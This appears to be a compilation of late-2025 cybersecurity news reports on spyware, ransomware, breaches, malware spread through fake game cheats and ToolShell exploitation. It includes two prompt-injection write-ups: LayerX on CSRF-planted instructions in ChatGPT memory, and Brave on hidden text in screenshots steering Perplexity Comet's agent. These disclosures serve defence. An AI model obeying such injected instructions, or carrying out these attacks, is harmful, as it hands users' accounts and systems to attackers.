techcrunch.com/
Lorenzo Franceschi-Bicchierai
10:00 PM PDT · October 28, 2025
On Monday, researchers at cybersecurity giant Kaspersky published a report identifying a new spyware called Dante that they say targeted Windows victims in Russia and neighboring Belarus. The researchers said the Dante spyware is made by Memento Labs, a Milan-based surveillance tech maker that was formed in 2019 after a new owner acquired and took over early spyware maker Hacking Team.
Memento chief executive Paolo Lezzi confirmed to TechCrunch that the spyware caught by Kaspersky does indeed belong to Memento.
In a call, Lezzi blamed one of the company’s government customers for exposing Dante, saying the customer used an outdated version of the Windows spyware that will no longer be supported by Memento by the end of this year.
“Clearly they used an agent that was already dead,” Lezzi told TechCrunch, referring to an “agent” as the technical word for the spyware planted on the target’s computer.
“I thought [the government customer] didn’t even use it anymore,” said Lezzi.
Lezzi, who said he was not sure which of the company’s customers were caught, added that Memento had already requested that all of its customers stop using the Windows malware. Lezzi said the company had warned customers that Kaspersky had detected Dante spyware infections since December 2024. He added that Memento plans to send a message to all its customers on Wednesday asking them once again to stop using its Windows spyware.
He said that Memento currently only develops spyware for mobile platforms. The company also develops some zero-days — meaning security flaws in software unknown to the vendor that can be used to deliver spyware — though it mostly sources its exploits from outside developers, according to Lezzi.
When reached by TechCrunch, Kaspersky spokesperson Mai Al Akkad would not say which government Kaspersky believes is behind the espionage campaign, but that it was “someone who has been able to use Dante software.”
“The group stands out for its strong command of Russian and knowledge of local nuances, traits that Kaspersky observed in other campaigns linked to this [government-backed] threat. However, occasional errors suggest that the attackers were not native speakers,” Al Akkad told TechCrunch.
In its new report, Kaspersky said it found a hacking group using the Dante spyware that it refers to as “ForumTroll,” describing the targeting of people with invites to Russian politics and economics forum Primakov Readings. Kaspersky said the hackers targeted a broad range of industries in Russia, including media outlets, universities, and government organizations.
Kaspersky’s discovery of Dante came after the Russian cybersecurity firm said it detected a “wave” of cyberattacks with phishing links that were exploiting a zero-day in the Chrome browser. Lezzi said that the Chrome zero-day was not developed by Memento.
In its report, Kaspersky researchers concluded that Memento “kept improving” the spyware originally developed by Hacking Team until 2022, when the spyware was “replaced by Dante.”
Lezzi conceded that it is possible that some “aspects” or “behaviors” of Memento’s Windows spyware were left over from spyware developed by Hacking Team.
A telltale sign that the spyware caught by Kaspersky belonged to Memento was that the developers allegedly left the word “DANTEMARKER” in the spyware’s code, a clear reference to the name Dante, which Memento had previously and publicly disclosed at a surveillance tech conference, per Kaspersky.
Much like Memento’s Dante spyware, some versions of Hacking Team’s spyware, codenamed Remote Control System, were named after historical Italian figures, such as Leonardo da Vinci and Galileo Galilei.
A history of hacks
In 2019, Lezzi purchased Hacking Team and rebranded it to Memento Labs. According to Lezzi, he paid only one euro for the company and the plan was to start over.
“We want to change absolutely everything,” the Memento owner told Motherboard after the acquisition in 2019. “We’re starting from scratch.”
A year later, Hacking Team’s CEO and founder David Vincenzetti announced that Hacking Team was “dead.”
When he acquired Hacking Team, Lezzi told TechCrunch that the company only had three government customers remaining, a far cry from the more than 40 government customers that Hacking Team had in 2015. That same year, a hacktivist called Phineas Fisher broke into the startup’s servers and siphoned off some 400 gigabytes of internal emails, contracts, documents, and the source code for its spyware.
Before the hack, Hacking Team’s customers in Ethiopia, Morocco, and the United Arab Emirates were caught targeting journalists, critics, and dissidents using the company’s spyware. Once Phineas Fisher published the company’s internal data online, journalists revealed that a Mexican regional government used Hacking Team’s spyware to target local politicians and that Hacking Team had sold to countries with human rights abuses, including Bangladesh, Saudi Arabia, and Sudan, among others.
Lezzi declined to tell TechCrunch how many customers Memento currently has but implied it was fewer than 100 customers. He also said that there are only two current Memento employees left from Hacking Team’s former staff.
The discovery of Memento’s spyware shows that this type of surveillance technology keeps proliferating, according to John Scott-Railton, a senior researcher who has investigated spyware abuses for a decade at the University of Toronto’s Citizen Lab.
It also shows that a controversial company can die because of a spectacular hack and several scandals, and yet a new company with brand-new spyware can still come out of its ashes.
“It tells us that we need to keep up the fear of consequences,” Scott-Railton told TechCrunch. “It says a lot that echoes of the most radioactive, embarrassed and hacked brand are still around.”
www.axios.com
Sam Sabin
F5 warned shareholders Monday that it expects its revenue growth to slow over the next two quarters as many of its customers pause or slow down their buying decisions while responding to a recent major cyberattack.
Why it matters: The comments are the first from F5 about how much the nation-state attack — which was disclosed about two weeks ago — is likely going to impact the company's bottom line.
Driving the news: F5 CEO François Locoh-Donou said during the company's fourth-quarter earnings call that the company is increasing its internal cybersecurity investments as it responds to the highly sophisticated hack.
"We are disappointed that this has happened and very aware as a team and as a company of the burden that this has placed in our customers who have had to work long hours to upgrade" affected products, Locoh-Donou told investors on the call.
Catch up quick: Bloomberg reported the attackers are likely linked to the Chinese government and have been lurking in the company's systems since 2023.
Zoom in: So far, F5 has identified and notified an unspecified number of customers who have had their data stolen as a result of the hacks, Locoh-Donou said.
The company has also worked with thousands of customers in recent weeks to deploy security fixes with minimal operational disruptions, he added.
F5 will enhance its bug bounty program and is working with outside firms to review the security of its code for vulnerabilities, he said.
The company has also transitioned Michael Montoya, the company's security chief, to a new role as its chief technology operations officer to help further embed security into every aspect of the company's operations.
Yes, but: Locoh-Donou told shareholders that most affected customers have said their stolen data was not sensitive and "they're not concerned about it."
Threat level: Locoh-Donou said the company is "acutely aware" that nation-state hackers have been increasingly targeting networking security firms like F5 in recent years.
"We are committed to learning from this incident, sharing our insights with our peers and driving collaborative innovation to collectively strengthen the protection of critical infrastructure across the industry," he said.
By Reuters
October 29, 2025
BANGKOK, Oct 29 (Reuters) - India plans to send an airplane to repatriate some 500 of its nationals who fled from a military raid on a scam centre in Myanmar into Thailand, Thai Prime Minister Anutin Charnvirakul said on Wednesday.
Starting last week, the Myanmar military has conducted a series of military operations against the KK Park cybercrime compound, driving more than 1,500 people from 28 countries into the Thai border town of Mae Sot, according to local authorities.
The border areas between Thailand, Myanmar, Laos and Cambodia have become hubs for online fraud since the COVID-19 pandemic, and the United Nations says billions of dollars have been earned from trafficking hundreds of thousands of people forced to work in the compounds.
KK Park is notorious for its involvement in transnational cyberscams. The sprawling compound and others nearby are run primarily by Chinese criminal gangs and guarded by local militia groups aligned to Myanmar's military.
Anutin said the Indian ambassador would meet the head of immigration to discuss speeding up the legal verification process for the 500 Indian nationals ahead of their flight back to India.
"They don't want this to burden us," Anutin said. "They will send a plane to pick these victims up... the plane will land directly in Mae Sot," he said.
Indian foreign ministry spokesperson Randhir Jaiswal said India's embassy was working with Thailand "to verify their nationality and to repatriate them, after necessary legal formalities are completed in Thailand."
Earlier this year India also sent a plane to repatriate its nationals after thousands were freed from cyberscam centres along the Thai-Myanmar border following a regional crackdown.
Breaking Trusted Execution Environments via DDR5 Memory Bus Interposition
TEE.fail:
Breaking Trusted Execution Environments via DDR5 Memory Bus Interposition
With the increasing popularity of remote computation like cloud computing, users are increasingly losing control over their data, uploading it to remote servers that they do not control. Trusted Execution Environments (TEEs) aim to reduce this trust, offering users promises such as privacy and integrity of their data as well as correctness of computation. With the introduction of TEEs and Confidential Computing features to server hardware offered by Intel, AMD, and Nvidia, modern TEE implementations aim to provide hardware-backed integrity and confidentiality to entire virtual machines or GPUs, even when attackers have full control over the system's software, for example via root or hypervisor access. Over the past few years, TEEs have been used to execute confidential cryptocurrency transactions, train proprietary AI models, protect end-to-end encrypted chats, and more.
In this work, we show that the security guarantees of modern TEE offerings by Intel and AMD can be broken cheaply and easily, by building a memory interposition device that allows attackers to physically inspect all memory traffic inside a DDR5 server. Making this worse, despite the increased complexity and speed of DDR5 memory, we show how such an interposition device can be built cheaply and easily, using only off the shelf electronic equipment. This allows us for the first time to extract cryptographic keys from Intel TDX and AMD SEV-SNP with Ciphertext Hiding, including in some cases secret attestation keys from fully updated machines in trusted status. Beyond breaking CPU-based TEEs, we also show how extracted attestation keys can be used to compromise Nvidia's GPU Confidential Computing, allowing attackers to run AI workloads without any TEE protections. Finally, we examine the resilience of existing deployments to TEE compromises, showing how extracted attestation keys can potentially be used by attackers to extract millions of dollars of profit from various cryptocurrency and cloud compute services.
| The Record from Recorded Future News
Daryna Antoniuk
October 27th, 2025
The utility responsible for operating Sweden's power grid is investigating a data breach after a ransomware group threatened to leak hundreds of gigabytes of purportedly stolen internal data.
Sweden’s power grid operator is investigating a data breach after a ransomware group threatened to leak hundreds of gigabytes of purportedly stolen internal data.
State-owned Svenska kraftnät, which operates the country’s electricity transmission system, said the incident affected a “limited external file transfer solution” and did not disrupt Sweden’s power supply.
“We take this breach very seriously and have taken immediate action,” said Chief Information Security Officer Cem Göcgören in a statement. “We understand that this may cause concern, but the electricity supply has not been affected.”
The ransomware gang Everest claimed responsibility for the attack on its leak site over the weekend, alleging it had exfiltrated about 280 gigabytes of data and saying it would publish it unless the agency complied with its demands.
The same group has previously claimed attacks on Dublin Airport, Air Arabia, and U.S. aerospace supplier Collins Aerospace — incidents that disrupted flight operations across several European cities in September. The group’s claims could not be independently verified.
Svenska kraftnät said it is working closely with the police and national cybersecurity authorities to determine the extent of the breach and what data may have been exposed. The utility has not attributed the attack to any specific threat actor.
“Our current assessment is that mission-critical systems have not been affected,” Göcgören said. “At this time, we are not commenting on perpetrators or motives until we have confirmed information.”
vxdb.sh Journalist | Cybercrime News |
It is human nature to be competitive, to try your best when competing against others. It is no different when it comes to video games. Major E-Sports tournament prize pools regularly reach the multi millions. Last year the CS2 PGL Major hosted in Copenhagen had a prize pool of $1.25M.
Outside of the Esports realm cheating is still very prevalent, from games like Fortnite, Apex Legends, CS2, even non competitive games like Minecraft or Roblox have cheating issues. Most if not all the top tier cheats aren't free. Instead they rely on a subscription-based monetization model, where users pay for access to private builds or regular updates designed to evade detection from the games AntiCheat. Cheat developers also utilize what are called resellers who advertise, and sell the cheat on behalf of the developers in exchange for a cut of the profits.
Most players don't want to or can't pay for premium/paid cheats so they hunt for free alternatives or cracked versions of paid cheats on sketchy forums, Youtube, or even Github. While some free cheats do exist, they usually don't have many features, are slower to update, and quickly detected by the AntiCheat, meaning they’ll get you banned fast, sometimes instantly. A significant portion of these “free” alternatives present security risks. In many cases, the download contains typically info stealers, Discord token grabbers, or RATs. In other instances, the advertised download is a working cheat but has malware executed in the background without the user knowing.
How threat actors spread their malware
Cybercriminals weaponize YouTube by posting videos that advertise free cheats, executors, or “cracked” cheats and then use the video description or pinned comments to funnel viewers to a download link. Many videos use the service Linkvertise which makes users go through a handful of ads and suspicious downloads to reach the final download link where the file is hosted on a site like MediaFire or Meganz. These videos are being posted on stolen or fake youtube accounts created and advertised by what are called Traffer Teams.
What are Traffers Teams?
"Traffer teams manage the entire operation, recruiting affiliates (traffers), handling monetization, and managing/crypting stealer builds. Traffer gangs recruit affiliates who spread the malware, often driving app downloads from YouTube, TikTok, and other platforms. Traffers are commonly paid a percentage of these stolen logs or receive a direct payment for installs. Traffer gangs will typically monetize these stolen logs by selling them directly to buyers or cashing out themselves." As per Benjamin Brundage CEO of Synthient.
In a recent upload by researcher Eric Parker, a YouTube channel was discovered repeatedly uploading videos advertising so-called “Valorant Skins Changer,” “Roblox Executor,” and similar “free hacks" all with oddly similar thumbnails. Each video’s description contained a download link that redirected users to a Google Sites page at "sites[.]google[.]com/view/lyteam".
This site is operated by a Traffer Team known as LyTeam, which promotes and distributes info-stealing malware under the guise of free game cheats.
Later in the same video, Eric Parker downloaded and analyzed a .dll file hosted on the LyTeam site. When uploaded to VirusTotal, the sample was identified to be a strain of the Lumma Stealer Malware, a well-known info-stealing malware family known for harvesting browser credentials and crypto wallets.
How to stay safe
Don't click random links and run files you find out on the internet, if needed use and AntiVirus software to scan files on your computer. Run sketchy files you find either in a virtual machine or sandbox, better yet use VirusTotal.
Staying safe doesn't mean you need to be paranoid 24/7, it's about awareness.
Thank you for reading,
vxdb :)
LayerX discovered the first vulnerability impacting OpenAI’s new ChatGPT Atlas browser, allowing bad actors to inject malicious instructions into ChatGPT’s “memory” and execute remote code. This exploit can allow attackers to infect systems with malicious code, grant themselves access privileges, or deploy malware.
The vulnerability affects ChatGPT users on any browser, but it is particularly dangerous for users of OpenAI’s new agentic browser: ChatGPT Atlas. LayerX has found that Atlas currently does not include any meaningful anti-phishing protections, meaning that users of this browser are up to 90% more vulnerable to phishing attacks than users of traditional browsers like Chrome or Edge.
The exploit has been reported to OpenAI under Responsible Disclosure procedures, and a summary is provided below, while withholding technical information that will allow attackers to replicate this attack.
TL/DR: How The Exploit Works:
LayerX discovered how attackers can use a Cross-Site Request Forgery (CSRF) request to “piggyback” on the victim’s ChatGPT access credentials, in order to inject malicious instructions into ChatGPT’s memory. Then, when the user attempts to use ChatGPT for legitimate purposes, the tainted memories will be invoked, and can execute remote code that will allow the attacker to gain control of the user account, their browser, code they are writing, or systems they have access to.
While this vulnerability affects ChatGPT users on any browser, it is particularly dangerous for users of ChatGPT Atlas browser, since they are, by default, logged-in to ChatGPT, and since LayerX testing indicates that the Atlas browser is up to 90% more exposed than Chrome and Edge to phishing attacks.
A Step-by-Step Explanation:
Initially, the user is logged-in to ChatGPT, and holds an authentication cookie or token in their browser.
The user clicks a malicious link, leading them to a compromised web page.
The malicious page invokes a Cross-Site Request Forgery (CSRF) request to take advantage of the user’s pre-existing authentication into ChatGPT
The CSRF exploit injects hidden instructions into ChatGPT’s memory, without the user’s knowledge, thereby “tainting” the core LLM memory.
The next time the user queries ChatGPT, the tainted memories are invokes, allowing deployment of malicious code that can give attackers control over systems or code.
Using Cross-Site Request Forgery (CSRF) To Access LLMs:
A cross-site request forgery (CSRF) attack is when an attacker tricks a user’s browser into sending an unintended, state-changing request to a website where the user is already authenticated, causing the site to perform actions as that user without their consent.
The attack occurs when a victim is logged in to a target site, which has session cookies stored in the browser. The victim visits or is redirected into a malicious page that issues a crafted request (via a form, image tag, link, or script) to the target site. The browser automatically includes the victim’s credentials (cookies, auth headers), so the target site processes the request as if the user initiated it.
In most cases, the impact of a CSRF attack is aimed at activity such as changing account email/password, initiating funds transfers, or making purchases under the user’s session can occur.
However, when it comes to AI systems, using a CSRF attack, attackers can gain access to AI systems that the user is logged-in to, query it, or inject instructions into it.
Infecting ChatGPT’s Core “Memory”
ChatGPT’s “Memory” allows ChatGPT to remember useful details about users’ queries, chat and activities, such as preferences, constraints, projects, style notes, etc., and reuse them across future chats so that users don’t have to repeat themselves. In effect, they act like the LLM’s background memory or subconscious.
Once attackers have access to the user’s ChatGPT via the CSRF request, they can use it to inject hidden instructions to ChatGPT, that will affect future chats.
Like a person’s subconscious, once the right instructions are stored inside ChatGP’s Memory, ChatGPT will be compelled to execute these instructions, effectively becoming a malicious co-conspiritor.
Moreover, once an account’s Memory has been infected, this infection is persistent across all devices that the account is used on – across home and work computers, and across different browsers – whether a user is using them on Chrome, Atlas, or any other browser. This makes the attack extremely “sticky,” and is especially dangerous for users who use the same account for both work and personal purposes.
ChatGPT Atlas Users Up to 90% More Exposed Than Other Browsers
While this vulnerability can be used against ChatGPT users on any browser, users of OpenAI’s ChatGPT browser are particularly vulnerable. This is for two reasons:
When you are using Atlas, you are, by default, logged-in to ChatGPT. This means that ChatGPT credentials are always stored in the browser, where they can be targeted by malicious CSRF requests.
ChatGPT Atlas is particularly bad at stopping phishing attacks. This means that users of Atlas are more exposed than users of other browsers.
LayerX tested Atlas against over 100 in-the-wild web vulnerabilities and phishing attacks. LayerX previously conducted the same test against other AI browsers such as Comet, Dia, and Genspark. The results were uninspiring, to say the least:
In the previous tests, whereas traditional browsers such as Edge and Chrome were able to stop about 50% of phishing attacks using their out-of-the-box protections, Comet and Genspark stopped only 7% (Dia generated results similar to those of Chrome).
Running the same test against Atlas showed even more stark results:
Out of 103 in-the-wild attacks that LayerX tested, ChatGPT Atlas allowed 97 to go through, a whopping 94.2% failure rate.
Compared to Edge (which stopped 53% of attacks in LayerX’s test) and Chrome (which stopped 47% of attacks), ChatGPT Atlas was able to successfully stop only 5.8% of malicious web pages, meaning that users of Atlas were nearly 90% more vulnerable to phishing attacks, compared to users of other browsers.
The implication is that not only users of ChatGPT Atlas are susceptible to malicious attack vectors that can lead to injection of malicious instructions into their ChatGPT accounts, but since Atlas does not include any meaningful anti-phishing protection, Atlas users are at a greater risk of exposure.
Proof of Concept: Injecting Malicious Code To ‘Vibe’ Coding
Below is an illustration of an attack vector exploiting this vulnerability, on an Atlas browser user who is vibe coding:
“Vibe coding” is a collaborative style where the developer treats the AI as a creative partner rather than a line-by-line executor. Instead of prescribing exact syntax, the developer shares the project’s intent and feel (e.g., architecture goals, tone, audience, aesthetic preferences, etc.) and other non-functional requirements.
ChatGPT then uses this holistic brief to produce code that works and matches the requested style, narrowing the gap between high-level ideas and low-level implementation. The developer’s role shifts from hand-coding to steering and refining the AI’s interpretation.
While ChatGPT offers some defenses against malicious instructions, effectiveness can vary with the attack’s sophistication and how the unwanted behavior entered Memory.
In some cases, the user may see a mild warning; in others, the attempt might be blocked. However, if cleverly masked, the code could evade detection altogether. For example, this is the subtle warning that this script received. At most, it’s a sidenote that is easy to miss within the blob of text:
Kaspersky researchers discovered previously unidentified commercial Dante spyware developed by Memento Labs (formerly Hacking Team) and linked it to the ForumTroll APT attacks.
• The Register
Carly Page
Thu 23 Oct 2025 //
Google has taken down thousands of YouTube videos that were quietly spreading password-stealing malware disguised as cracked software and game cheats.
Researchers at Check Point say the so-called "YouTube Ghost Network" hijacked and weaponized legitimate YouTube accounts to post tutorial videos that promised free copies of Photoshop, FL Studio, and Roblox hacks, but instead lured viewers into installing infostealers such as Rhadamanthys and Lumma.
The campaign, which has been running since 2021, surged in 2025, with the number of malicious videos tripling compared to previous years. More than 3,000 malware-laced videos have now been scrubbed from the platform after Check Point worked with Google to dismantle what it called one of the most significant malware delivery operations ever seen on YouTube.
Check Point says the Ghost Network relied on thousands of fake and compromised accounts working in concert to make malicious content look legitimate. Some posted the "tutorial" videos, others flooded comment sections with praise, likes, and emojis to give the illusion of trust, while a third set handled "community posts" that shared download links and passwords for the supposed cracked software.
"This operation took advantage of trust signals, including views, likes, and comments, to make malicious content seem safe," said Eli Smadja, security research group manager at Check Point. "What looks like a helpful tutorial can actually be a polished cyber trap. The scale, modularity, and sophistication of this network make it a blueprint for how threat actors now weaponise engagement tools to spread malware."
Once hooked, victims were typically instructed to disable antivirus software, then download an archive hosted on Dropbox, Google Drive, or MediaFire. Inside was malware rather than a working copy of the promised program, and once opened, the infostealers exfiltrated credentials, crypto wallets, and system data to remote command-and-control servers.
One hijacked channel with 129,000 subscribers posted a cracked version of Adobe Photoshop that racked up nearly 300,000 views and more than 1,000 likes. Another targeted cryptocurrency users, redirecting them to phishing pages hosted on Google Sites.
As Check Point tracked the network, it found the operators frequently rotated payloads and updated download links to outpace takedowns, creating a resilient ecosystem that could quickly regenerate even when accounts were banned.
Check Point says the Ghost Network's modular design, with uploaders, commenters, and link distributors, allowed campaigns to persist for years. The approach mimics a separate operation the firm has dubbed the "Stargazers Ghost Network" on GitHub, where fake developer accounts host malicious repositories.
While most of the malicious videos pushed pirated software, the biggest lure was gaming cheats – particularly for Roblox, which has an estimated 380 million monthly active players. Other videos dangled cracked copies of Microsoft Office, Lightroom, and Adobe tools. The "most viewed" malicious upload targeted Photoshop, drawing almost 300,000 views before Google's cleanup operation.
The surge in 2025 marks a sharp shift in how malware is being distributed. Where phishing emails and drive-by downloads once dominated, attackers are now exploiting the social credibility of mainstream platforms to bypass user skepticism.
"In today's threat landscape, a popular-looking video can be just as dangerous as a phishing email," Smadja said. "This takedown shows that even trusted platforms aren't immune to weaponization, but it also proves that with the right intelligence and partnerships, we can push back."
Check Point doesn't have concrete evidence as to who is operating this network. It said the primary beneficiaries currently appear to be cybercriminals motivated by profit, but this could change if nation-state groups use the same tactics and video content to attract high-value targets.
The YouTube Ghost Network's rise underscores how far online malware peddlers have evolved from spammy inbox bait. The ghosts may have been exorcised this time, but with engagement now an attack vector, the next haunting is only ever a click away.
iverify.io
By Matthias Frielingsdorf, VP of Research
Oct 21, 2025
iOS 26 changes how shutdown logs are handled, erasing key evidence of Pegasus and Predator spyware, creating new challenges for forensic investigators
As iOS 26 is being rolled out, our team noticed a particular change in how the operating system handles the shutdown.log file: it effectively erases crucial evidence of Pegasus and Predator spyware infections. This development poses a serious challenge for forensic investigators and individuals seeking to determine if their devices have been compromised at a time when spyware attacks are becoming more common.
The Power of the shutdown.log
For years, the shutdown.log file has been an invaluable, yet often overlooked, artifact in the detection of iOS malware. Located within the Sysdiagnoses in the Unified Logs section (specifically, Sysdiagnose Folder -> system_logs.logarchive -> Extra -> shutdown.log), it has served as a silent witness to the activities occurring on an iOS device, even during its shutdown sequence.
In 2021, the publicly known version of Pegasus spyware was found to leave discernible traces within this shutdown.log. These traces provided a critical indicator of compromise, allowing security researchers to identify infected devices. However, the developers behind Pegasus, NSO Group, are constantly refining their techniques, and by 2022 Pegasus had evolved.
Pegasus's Evolving Evasion Tactics
While still leaving evidence in the shutdown.log, their methods became more sophisticated. Instead of leaving obvious entries, they began to completely wipe the shutdown.log file. Yet, even with this attempted erasure, their own processes still left behind subtle traces. This meant that even a seemingly clean shutdown.log that began with evidence of a Pegasus sample was, in itself, an indicator of compromise. Multiple cases of this behavior were observed until the end of 2022, highlighting the continuous adaptation of these malicious actors.
Following this period, it is believed that Pegasus developers implemented even more robust wiping mechanisms, likely monitoring device shutdown to ensure a thorough eradication of their presence from the shutdown.log. Researchers have noted instances where devices known to be active had their shutdown.log cleared, alongside other IOCs for Pegasus infections. This led to the conclusion that a cleared shutdown.log could serve as a good heuristic for identifying suspicious devices.
Predator's Similar Footprint
The sophisticated Predator spyware, observed in 2023, also appears to have learned from the past. Given that Predator was actively monitoring the shutdown.log, and considering the similar behavior seen in earlier Pegasus samples, it is highly probable that Predator, too, left traces within this critical log file.
iOS 26: An Unintended Cleanse
With iOS 26 Apple introduced a change—either an intentional design decision or an unforeseen bug—that causes the shutdown.log to be overwritten on every device reboot instead of appended with a new entry every time, preserving each as its own snapshot. This means that any user who updates to iOS 26 and subsequently restarts their device will inadvertently erase all evidence of older Pegasus and Predator detections that might have been present in their shutdown.log.
This automatic overwriting, while potentially intended for system hygiene or performance, effectively sanitizes the very forensic artifact that has been instrumental in identifying these sophisticated threats. It could hardly come at a worse time - spyware attacks have been a constant in the news and recent headlines show that high-power executives and celebrities, not just civil society, are being targeted.
Identifying Pegasus 2022: A Specific IOC
For those still on iOS versions prior to 26, a specific IOC for Pegasus 2022 infections involved the presence of a /private/var/db/com.apple.xpc.roleaccountd.staging/com.apple.WebKit.Networking entry within the shutdown.log. This particular IOC also revealed a significant shift in NSO Group's tactics: they began using normal system process names instead of easily identifiable, similarly named processes, making detection more challenging.
An image of a shutdown.log file
Correlating Logs for Deeper Insight (< iOS 18)
For devices running iOS 18 or earlier, a more comprehensive approach to detection involved correlating containermanagerd log entries with shutdown.log events. Containermanagerd logs contain boot events and can retain data for several weeks. By comparing these boot events with shutdown.log entries, investigators could identify discrepancies. For example, if numerous boot events were observed before shutdown.log entries, it suggested that something was amiss and potentially being hidden.
Before You Update
Given the implications of iOS 26's shutdown.log handling, it is crucial for users to take proactive steps:
Before updating to iOS 26, immediately take and save a sysdiagnose of your device. This will preserve your current shutdown.log and any potential evidence it may contain.
Consider holding off on updating to iOS 26 until Apple addresses this issue, ideally by releasing a bug fix that prevents the overwriting of the shutdown.log on boot.
Key Takeaways
Just months after being disrupted during Operation Cronos, the notorious LockBit ransomware group has reemerged — and it hasn’t wasted time. Check Point Research has confirmed that LockBit is back in operation and already extorting new victims.
Throughout September 2025, Check Point Research identified a dozen organizations targeted by the revived operation, with half of them infected by the newly released LockBit 5.0 variant and the rest by LockBit Black. The attacks span Western Europe, the Americas, and Asia, affecting both Windows and Linux systems, a clear sign that LockBit’s infrastructure and affiliate network are once again active.
A Rapid and Confident Comeback
At the beginning of September, LockBit officially announced its return on underground forums, unveiling LockBit 5.0 and calling for new affiliates to join. This latest version, internally codenamed “ChuongDong,” marks a significant evolution of the group’s encryptor family.
The newly observed LockBit 5.0 attacks span a broad range of targets — about 80% on Windows systems, and around 20% on ESXi and Linux environments. The quick reappearance of multiple active victims demonstrates that LockBit’s Ransomware-as-a-Service (RaaS) model has successfully reactivated its affiliate base.
From Disruption to Reorganization
Until its takedown in early 2024, LockBit was the most dominant RaaS operation globally, responsible for 20–30% of all data-leak site victim postings. Following Operation Cronos, several arrests and data seizures disrupted the group’s infrastructure. Competing ransomware programs, such as RansomHub and Qilin, briefly tried to absorb its affiliates.
However, LockBit’s administrator, LockBitSupp, evaded capture and continued to hint at a comeback on dark web forums. In May 2025, he posted defiantly on the RAMP forum: “We always rise up after being hacked.” By August, LockBitSupp reappeared again, claiming the group was “getting back to work,” a statement that quickly proved true.
A Divided Underground
While LockBit regained traction on RAMP, other major forums like XSS continued to ban RaaS advertising. In early September, LockBitSupp attempted to be reinstated on XSS, even prompting a community vote, which ultimately failed.
Implications: A Familiar Threat Returns
LockBit’s reemergence underscores the group’s resilience and sophistication. Despite high-profile law enforcement actions and public setbacks, the group has once again managed to restore its operations, recruit affiliates, and resume extortion.
With its mature RaaS model, cross-platform reach, and proven reputation among cyber criminals, LockBit’s return represents a renewed threat to organizations across all sectors. September’s wave of infections likely marks only the beginning of a larger campaign — and October’s postings may confirm the group’s full operational recovery.
| Brave brave.com
Authors
Shivan Kaul Sahib
Artem Chaikin
AI browsers remain vulnerable to prompt injection attacks via screenshots and hidden content, allowing attackers to exploit users' authenticated sessions.
This is the second post in a series about security and privacy challenges in agentic browsers. This vulnerability research was conducted by Artem Chaikin (Senior Mobile Security Engineer), and was written by Artem and Shivan Kaul Sahib (VP, Privacy and Security).
Building on our previous disclosure of the Perplexity Comet vulnerability, we’ve continued our security research across the agentic browser landscape. What we’ve found confirms our initial concerns: indirect prompt injection is not an isolated issue, but a systemic challenge facing the entire category of AI-powered browsers. This post examines additional attack vectors we’ve identified and tested across different implementations.
On request, we are withholding one additional vulnerability found in another browser for now. We plan on providing more details next week.
As we’ve written before, AI-powered browsers that can take actions on your behalf are powerful yet extremely risky. If you’re signed into sensitive accounts like your bank or your email provider in your browser, simply summarizing a Reddit post could result in an attacker being able to steal money or your private data.
As always, we responsibly reported these issues to the various companies listed below so the vulnerabilities could be addressed. As we’ve previously said, a safer Web is good for everyone. The thoughtful commentary and debate about secure agentic AI that was raised by our previous blog post in this series motivated our decision to continue researching and publicizing our findings.
Prompt injection via screenshots in Perplexity Comet
Perplexity’s Comet assistant lets users take screenshots on websites and ask questions about those images. These screenshots can be used as yet another way to inject prompts that bypass traditional text-based input sanitization. Malicious instructions embedded as nearly-invisible text within the image are processed as commands rather than (untrusted) content.
How the attack works:
Setup: An attacker embeds malicious instructions in Web content that are hard to see for humans. In our attack, we were able to hide prompt injection instructions in images using a faint light blue text on a yellow background. This means that the malicious instructions are effectively hidden from the user.
Trigger: User-initiated screenshot capture of a page containing camouflaged malicious text.
Injection: Text recognition extracts text that’s imperceptible to human users (possibly via OCR though we can’t tell for sure since the Comet browser is not open-source). This extracted text is then passed to the LLM without distinguishing it from the user’s query.
Exploit: The injected commands instruct the AI to use its browser tools maliciously.
| SECURITY.COM
Threat Hunter Team
Symantec and Carbon Black
China-based threat actors also compromised networks of government agencies in countries in Africa and South America.
China-based threat actors also compromised networks of government agencies in countries in Africa and South America.
Threat Intelligence
22 Oct 2025
7 Min Read
Share
China-based attackers used the ToolShell vulnerability (CVE-2025-53770) to compromise a telecoms company in the Middle East shortly after the vulnerability was publicly revealed and patched in July 2025.
The same threat actors also compromised two government departments in the same African country during the same time period. Zingdoor, which was deployed on the networks of all three organizations, has in the past been associated with the Chinese group Glowworm (aka Earth Estries, FamousSparrow).
Another tool used in this campaign, KrustyLoader, has also previously been linked to activity by a group called UNC5221, which has been described as a China-nexus group.
The attackers also gained access to the networks of two government agencies in South America and a university in the U.S. recently. In these attacks, the attackers used other vulnerabilities for initial access and exploited SQL servers and Apache HTTP servers running the Adobe ColdFusion software to deliver their malware. Notably, in the South American victims, the attackers used the filename “mantec.exe”, possibly to mimic a Symantec filename (“symantec.exe”) in an attempt to hide their malicious activity. This binary (mantec.exe), which is a legitimate copy of a BugSplat executable, a tool used for bug tracking, was used to sideload a malicious DLL.
Evidence suggests that a state technology agency in an African country, a government department in the Middle East and a finance company in a European country were also compromised by the same attackers.
What is ToolShell?
ToolShell was patched by Microsoft in July 2025, but by the time it was patched it had already been exploited in the wild as a zero-day vulnerability. ToolShell affects on-premise SharePoint servers and gives an attacker unauthenticated access to vulnerable servers, allowing them to remotely execute code and access all content and file systems. ToolShell was a variant of another vulnerability (CVE-2025-49704) that had been patched in July 2025. Another related vulnerability (CVE-2025-53771) was also patched at the same time as ToolShell. This is a path traversal bug that allows an authorized attacker to perform spoofing over a network. It too was a variant of an older patched vulnerability (CVE-2025-49706).
Shortly after patching the vulnerabilities, Microsoft said that at least three Chinese groups had been exploiting ToolShell. Microsoft said at the time that two Chinese espionage groups had been exploiting the vulnerability - Budworm (aka Linen Typhoon) and Sheathminer (aka Violet Typhoon). In addition to this, a third China-based actor, known as Storm-2603, was also exploiting the vulnerabilities to carry out attacks in which it was distributing the Warlock ransomware.
Toolset
Malicious activity in the telecoms company in the Middle East began on July 21, 2025, just two days after patches were published for ToolShell, with the deployment of a likely webshell by the attackers.
The attackers loaded the Zingdoor backdoor onto the network by sideloading it using a legitimate Trend Micro binary. Zingdoor is a HTTP backdoor written in Go, which was first seen in April 2023, and first documented by Trend Micro in August that year being used in a campaign that they attributed to Glowworm. Zingdoor can collect system information, upload and download files, and run arbitrary commands on compromised networks. As well as Zingdoor, the attackers also deployed what appears to be the ShadowPad Trojan. The loader for the Trojan was sideloaded using a legitimate BitDefender binary (SHA256: 3fc4f3ffce6188d3ef676f9825cdfa297903f6ca7f76603f12179b2e4be90134).
